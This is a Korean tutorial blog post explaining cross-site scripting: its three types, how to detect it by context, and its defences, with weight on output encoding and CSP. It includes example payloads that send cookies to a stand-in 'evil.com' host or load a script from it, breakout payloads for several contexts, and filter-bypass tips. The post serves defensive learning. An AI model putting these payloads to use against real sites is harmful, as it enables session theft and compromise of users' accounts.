이 글의 목차
XSS란 무엇인가 — 공격 원리부터 방어까지
웹 취약점을 처음 공부하면 SQL 인젝션과 함께 거의 반드시 나오는 이름이 XSS다. OWASP Top 10에서 2010년, 2013년, 2017년 내내 독립 카테고리로 올랐고 지금도 Injection 항목 안에 포함되어 있다. 수많은 애플리케이션을 테스트해봐도 XSS 하나 없는 서비스를 찾기가 오히려 어렵다는 말이 나올 정도다.
이 글에서는 XSS가 왜 성립하는지 배경부터 짚고, 세 가지 유형의 차이와 탐지 방법, 방어 계층까지 순서대로 정리한다.
XSS가 뭔가
Cross-Site Scripting, 줄여서 XSS는 공격자가 악성 클라이언트 사이드 스크립트를 애플리케이션에 심어 피해자 브라우저에서 실행되게 만드는 취약점이다.
SQL 인젝션이나 커맨드 인젝션과 달리 서버가 아닌 사용자를 공격한다는 점이 핵심이다. 애플리케이션 서버를 뚫는 게 아니라, 그 서비스를 쓰는 사람의 브라우저에서 코드를 실행시킨다.
왜 XSS가 필요한가 — SOP의 한계
“굳이 애플리케이션에 코드를 심을 필요가 있나? 공격자 서버에서 바로 피해자 쿠키를 훔치면 되지 않나?“라는 의문이 자연스럽게 든다.
이건 SOP(Same-Origin Policy) 때문에 안 된다.
브라우저는 서로 다른 출처(origin, 즉 도메인)에서 온 콘텐츠를 격리한다. evil.com에서 실행되는 스크립트는 bank.com의 쿠키나 세션에 접근할 수 없다. 요청은 반드시 해당 애플리케이션 자체에서 발생해야 한다.
그래서 공격자가 선택하는 방법이 바로 XSS다. 악성 코드를 bank.com 안에 심어두면, 그 코드는 브라우저 입장에서 “bank.com이 실행하는 정당한 코드"가 된다. SOP를 우회하는 게 아니라, SOP의 허가를 받은 채로 동작하는 것이다.
XSS의 세 가지 유형
Reflected XSS
입력값이 서버 응답에 즉시 반영될 때 발생한다. 가장 고전적인 형태다.
뱅킹 앱에서 언어 설정을 URL 파라미터로 받는다고 하자.
https://bank.com/home?lang=en
lang 파라미터 값을 검증 없이 HTML에 그대로 출력한다면, 공격자는 이렇게 바꿀 수 있다.
https://bank.com/home?lang=<script src="https://evil.com/steal.js"></script>
이 링크를 피해자가 클릭하면 브라우저가 페이지를 렌더링하면서 악성 스크립트를 실행하고, 세션 쿠키가 공격자 서버로 빠져나간다.
공격 흐름:
공격자 → 악성 링크 제작 → 피해자에게 이메일 전송 → 피해자 클릭
→ bank.com 서버가 응답에 코드 포함 → 브라우저가 실행 → 쿠키 탈취
피해자 Alice가 링크를 클릭하기 전에 도메인을 확인했다고 해보자. 도메인은 bank.com이다. 문제없어 보인다. 하지만 URL 뒤에 붙은 파라미터까지 눈여겨보는 사람은 드물다. 이게 Reflected XSS가 실제로 통하는 이유다.
Reflected XSS의 약점: 피해자를 직접 낚아야 한다. 피해자가 링크를 클릭하지 않으면 실패한다.
Stored XSS
악성 코드가 응답에 즉시 반영되는 게 아니라 서버 DB에 저장된다. 그리고 페이지를 방문하는 사람 모두에게 실행된다.
상품 리뷰를 쓸 수 있는 쇼핑몰을 생각해보자. 리뷰 내용에 대한 검증이 없다면 공격자는 이렇게 입력한다.
정말 좋은 제품이에요! <script>document.location='https://evil.com/?c='+document.cookie</script>
이게 DB에 저장되고, 이후 그 상품 페이지를 방문하는 모든 사람의 브라우저에서 스크립트가 실행된다.
Reflected XSS와 결정적으로 다른 점:
| Reflected XSS | Stored XSS | |
|---|---|---|
| 피싱 필요 여부 | 필요 | 불필요 |
| 피해 범위 | 링크를 클릭한 사람 | 페이지를 방문한 모든 사람 |
| 위험도 | 중간 | 높음 |
실제 사례로 2005년 MySpace가 있다. Sammy라는 공격자가 자신의 프로필 페이지에 악성 JS를 심었다. 누군가 프로필을 방문하면 스크립트가 실행되어 Sammy를 친구로 추가하고, 피해자의 프로필에도 같은 스크립트를 복사했다. 또 다른 사람이 피해자 프로필을 방문하면 같은 일이 반복됐다. Stored XSS에 자기 복제 로직을 더하면 XSS 웜이 된다. 결국 MySpace는 사이트를 오프라인으로 전환하고 전체 프로필을 직접 정리해야 했다.
DOM-based XSS
Reflected와 Stored는 서버 응답에 악성 코드가 포함된다. DOM-based는 다르다. 서버 응답에는 악성 코드가 없다. 브라우저의 JavaScript가 사용자 입력을 읽어서 DOM에 직접 쓸 때 발생한다.
// 취약한 코드 예시
const query = location.search; // URL에서 읽음
document.getElementById('result').innerHTML = query; // DOM에 직접 씀
Burp Suite로 HTTP 응답을 봐도 악성 코드가 보이지 않는다. 서버를 거치지 않기 때문이다. 취약점을 찾으려면 클라이언트 사이드 JS를 직접 읽고 DevTools로 실행 경로를 추적해야 한다.
주의해야 할 sink 함수들 (사용자 입력이 흘러들면 위험한 함수):
document.write()element.innerHTMLeval()setTimeout(문자열)location.href
innerHTML 관련 주의점: HTML5 사양상 <script> 태그는 innerHTML을 통해 삽입되면 실행되지 않는다. 그래서 <img src=x onerror=alert(1)> 같은 이벤트 기반 페이로드를 쓴다.
XSS로 뭘 할 수 있나
취약점이 있다는 걸 확인했다면 그다음 단계는 실제로 어떤 공격이 가능한지다.
- 세션 탈취: 쿠키에
HttpOnly플래그가 없거나 세션 토큰이localStorage에 저장되어 있으면 그대로 가져간다. - 사용자 권한으로 임의 작업: 피해자가 할 수 있는 모든 행동을 대신 수행한다.
- 크리덴셜 피싱: 가짜 로그인 폼을 페이지에 주입하고 입력한 비밀번호를 가로챈다. 공격을 더 정교하게 만들려면 입력한 크리덴셜을 실제 로그인에도 넘겨서 피해자가 눈치채지 못하게 한다.
- 웹사이트 변조(Defacement): 페이지 내용을 마음대로 바꾼다.
- 다른 취약점과 연결: XSS 단독으로도 위험하지만, 관리자 권한을 가진 사용자를 노리면 얘기가 달라진다. 실제로 Magento에서 Stored XSS를 시작점으로 삼아 결국 임의 코드 실행(RCE)까지 이어진 취약점이 발견됐다.
탐지 방법
공통 첫 단계 — 반영 지점 찾기
어디서 찾든 첫 번째 할 일은 같다. 사용자 입력이 응답에 반영되는 지점을 모두 찾는 것이다. URL 파라미터, 요청 바디, HTTP 헤더까지 포함된다.
방법은 간단하다. XSS 필터에 걸릴 가능성이 낮은 고유 문자열을 모든 입력 지점에 넣어보는 것이다.
TEST12564
영숫자로만 이루어진 짧은 문자열이라 특수문자 필터에 걸리지 않는다. 이걸 제출하고 응답 어디에 나타나는지 확인한다. 나타났다면 XSS를 테스트해볼 지점을 찾은 것이다. 나타난 것 자체가 취약하다는 뜻은 아니다.
context 파악이 핵심
반영 지점을 찾았으면 그 다음은 어디에 반영됐는지 파악하는 것이다. context에 따라 필요한 페이로드가 완전히 달라진다.
<input> 태그의 value 속성에 반영된 경우:
<input value="TEST12564">
속성에서 탈출해야 한다. 큰따옴표로 속성을 닫고, 꺾쇠로 태그를 닫은 뒤 스크립트를 추가한다.
"><script>alert(1)</script>
JS 내 문자열에 반영된 경우:
var a = 'TEST12564';
작은따옴표로 문자열을 닫고 바로 코드를 실행한다. 이미 <script> 태그 안이므로 별도 태그가 필요 없다.
'-alert(1)-'
href 속성에 반영된 경우:
<a href="TEST12564">
JavaScript 프로토콜을 쓴다.
javascript:alert(1)
DOM-based (innerHTML):
el.innerHTML = input;
<script>는 innerHTML에서 실행되지 않으므로 이벤트 핸들러를 활용한다.
<img src=x onerror=alert(1)>
Stored XSS 탐지 시 주의점
Reflected는 입력한 응답에 바로 나타난다. Stored는 다르다. 입력한 위치와 반영되는 위치가 다를 수 있다. 댓글을 작성 페이지에서 입력했는데 게시물 목록 페이지나 알림 페이지에 나타날 수 있다. 그래서 고유 문자열을 넣은 뒤 전체 애플리케이션을 순회하며 어디에 나오는지 확인해야 한다.
DOM-based XSS 탐지
클라이언트 사이드 JS를 직접 읽는다. 사용자 입력이 흘러들어가는 위험한 sink 함수가 있는지 찾는다. 있다면 DevTools로 실행 경로를 추적하고, 실제로 페이로드가 sink까지 도달하는지 확인한다.
필터 우회
잘 짜인 애플리케이션이라면 특정 태그나 문자열을 차단한다. 이럴 때 쓸 수 있는 방법들이다.
- 특정 태그가 차단될 때: PortSwigger XSS Cheat Sheet에서 허용된 태그를 브루트포스로 찾는다.
- 따옴표가 차단될 때:
String.fromCharCode()로 문자열을 우회한다. - 키워드가 차단될 때: 브라우저는 HTML/JS에서 공백에 관대하다.
javascript사이에 탭 문자를 넣으면 필터를 피할 수 있다.
자동화 스캐너의 한계
Burp Suite Pro Scanner 같은 도구는 Reflected XSS를 꽤 잘 잡는다. 그러나 Stored와 DOM-based는 스캐너가 놓치는 경우가 있다. 스캔을 돌린 뒤에는 반드시 수동으로 확인한다.
방어 방법
① 출력 인코딩 — 핵심
사용자가 입력한 데이터를 페이지에 출력할 때, 그 데이터를 코드가 아닌 문자 데이터로 처리하도록 인코딩한다. context에 따라 인코딩 방식이 다르다.
- HTML 안에 삽입: HTML 인코딩 (
<→<) - JS 안에 삽입: JS 인코딩
인코딩 라이브러리를 직접 만들지 않는다. 빠뜨리는 케이스가 생기기 쉽다. OWASP에서 언어·프레임워크별로 권장하는 검증된 라이브러리를 쓴다.
현대 프레임워크를 쓴다면
React, Vue, Angular 같은 프레임워크는 템플릿 렌더링 단계에서 HTML 이스케이프를 기본으로 처리한다. React에서 {userInput}을 렌더링하면 특수문자가 자동으로 인코딩되어 스크립트로 실행되지 않는다.
다만 프레임워크가 제공하는 탈출구를 쓸 때는 개발자가 직접 책임진다.
// React — 의도적으로 HTML을 그대로 삽입하는 prop
<div dangerouslySetInnerHTML={{ __html: userInput }} />
<!-- Vue — 마찬가지로 이스케이프 없이 삽입 -->
<div v-html="userInput"></div>
이름 자체가 경고다. dangerouslySetInnerHTML은 그냥 편의 기능이 아니라 “이 데이터가 안전하다고 네가 보증하는 거야"라는 의미다. 서버에서 내려온 데이터라도 공격자가 조작할 수 있다면, 이 prop에 그대로 넣는 순간 DOM-based XSS가 된다. 꼭 써야 한다면 DOMPurify 같은 sanitize 라이브러리로 정제한 뒤 넣는다.
② 입력 검증 — 도착 즉시
입력을 받는 순간 예상되는 값인지 확인한다. 나이 필드라면 정수만 허용한다. 차단 목록(deny list)보다 허용 목록(allow list)이 훨씬 안전하다. 다만 입력 검증 단독으로는 완전한 방어가 되지 않는다. 심층 방어의 첫 번째 계층으로 활용한다.
③ 적절한 Response Headers
Content-Type과 X-Content-Type-Options 헤더를 설정하면 HTML이나 JS가 들어가선 안 되는 응답에 코드를 주입하는 시도를 막을 수 있다. 모든 페이지에 적용할 수는 없지만 심층 방어로 의미가 있다.
④ CSP (Content Security Policy) — 최후 방어선
Content-Security-Policy 응답 헤더로 페이지가 로드할 수 있는 리소스 출처를 제한한다.
Content-Security-Policy: default-src 'self'; script-src 'self'
이 설정이라면 외부 도메인에서 스크립트를 불러오는 시도를 브라우저가 차단한다. 공격자가 자신의 서버에 심어둔 스크립트를 불러오려 해도 막힌다. Click-jacking 방어에도 효과가 있다.
실무에서 CSP를 적용할 때 주의할 점
기존 서비스에 CSP를 붙이면 인라인 스크립트(<script>코드</script> 형태)가 전부 차단된다. 레거시 코드베이스라면 전수 조사해서 외부 파일로 분리해야 하는데, 공수가 크다. 그래서 마음이 급해지면 이렇게 설정하고 싶어진다.
Content-Security-Policy: script-src 'self' 'unsafe-inline'
'unsafe-inline'을 허용하는 순간 CSP는 XSS 방어로서 의미가 없어진다. 인라인 스크립트를 막는 게 CSP의 핵심인데, 그걸 열어버리는 것이다.
인라인 스크립트를 유지하면서 안전하게 허용하려면 nonce를 쓴다. 서버가 요청마다 무작위 값을 생성해 헤더와 태그에 모두 넣으면, 해당 nonce가 없는 스크립트는 실행되지 않는다.
Content-Security-Policy: script-src 'nonce-랜덤값'
<script nonce="랜덤값">
// 이 스크립트만 실행 허용
</script>
공격자가 삽입한 스크립트는 nonce를 알 수 없으므로 실행이 막힌다.
CSP만으로 XSS를 막으려 하면 안 된다. 출력 인코딩이 제대로 되어 있을 때 CSP는 든든한 보험이 된다.
정리
XSS의 핵심을 한 줄로 정리하면 이렇다.
사용자 입력이 검증 없이 브라우저에 다시 나타날 때, 그 입력이 코드로 실행된다.
방어의 핵심도 한 줄이다.
출력할 때 인코딩하고, 입력받을 때 검증한다.
세 가지 유형의 차이는 코드가 어디에 저장되고 누구에게 실행되는가에 있다. Reflected는 응답에 즉시 반영되고 한 명을 노린다. Stored는 DB에 저장되어 불특정 다수를 노린다. DOM-based는 서버를 거치지 않고 브라우저 JS가 직접 처리한다.
탐지할 때는 context를 먼저 파악한다. 어디에 반영됐는지 모른 채로 페이로드를 던지면 시간 낭비다.
참고 리소스
- PortSwigger XSS Cheat Sheet
- OWASP XSS Filter Evasion Cheat Sheet
- PortSwigger Web Security Academy — XSS